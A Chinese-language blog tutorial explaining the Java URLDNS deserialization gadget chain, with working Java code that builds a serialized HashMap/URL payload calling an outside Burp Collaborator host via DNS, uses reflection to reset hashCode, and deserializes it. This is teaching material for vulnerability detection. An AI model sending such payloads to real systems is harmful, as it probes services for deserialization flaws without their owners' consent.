URLDNS利用链

原理

Java URLDNS链是通过readObject反序列化+DNS查询来确认反序列化利用点的存在。该利用链具有如下特点:

  • [1] 只能发起 DNS 请求,不能进行其它利用。
  • [2] 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求。
  • [3] 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞。

过程分析

需要发起Http请求,Java中URL类与Http请求相关并且URL类实现了Serializable接口,URL类中是通过调用openConnection方法实现。

跟进返回中的openConnection可以看到返回的是URLConnection对象。

继续跟进URLConnection,发现是一个抽象类,接着查看实现这个抽象类的类,发现是不可序列化的,那么这条链不可用。
但是发现URL这个类中存在hashCode()函数可以利用。

跟进handler.hashCode函数,发现这个函数中使用了getHostAddress()函数,而getHostAddress()函数可以根据域名获得主机IP地址。

至此,我们可以通过调用hashCode()函数中的getHostAddress()来实现反序列化。

HashMap类中重写了readObject方法,其中调用了hash()函数,hash()函数中也调用了hashCode()函数。

如此一来,当我们构造出一个HashMap对象,并向这个对象的键中传入URL,那么在反序列化时,这个URL会被读为key接着传入hash()函数中,在hash()函数中调用hashCode(),这样就调用了一个URL对象的hashCode()函数。

接下来构造利用代码:

package org.example;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        hashMap.put(new URL("http://v95hskl5p6aksnq95w4sydb2vt1jp8.burpcollaborator.net"),1);
        serialize(hashMap);
    }
}

其中,URL链接使用burpsuite生成:


构造完代码之后,运行序列化代码。

此时发现,在我们还没有反序列化时就已经收到了DNS请求,这是因为在使用put()函数的时候,在put()函数中已经调用了hash()函数,进而调用了hashCode()函数。

想到之前我们在URLhashCode()函数中看到当hashCode != -1时就不会调用hashCode()函数,而在我们进行完put操作之后hashCode != -1,所以在反序列化时就不会再执行hashCode()函数了。

想要在反序列化时调用hashCode()就需要在put操作之前使得hashCode不等于-1,put操作之后将hashCode再改回-1。要改变一个已经生成对象中的值就需要使用Java的反射技术。

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        URL url = new URL("http://rzu085lu0ds2w583u7jglucds4yumj.burpcollaborator.net");
        Class c = url.getClass();
        Field hashcodeField = c.getDeclaredField("hashCode");
        hashcodeField.setAccessible(true);
        hashcodeField.set(url, 1);
        hashMap.put(url, 1);
        hashcodeField.set(url, -1);

        serialize(hashMap);
    }
}

这样再进行序列化的时候就收不到DNS请求了,然后进行反序列化,可以看到在反序列化时收到了请求。
反序列化操作:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        unserialize("ser.bin");
    }
}

posted @ 2023-02-26 14:59  顾北清  阅读(256)  评论(0编辑  收藏  举报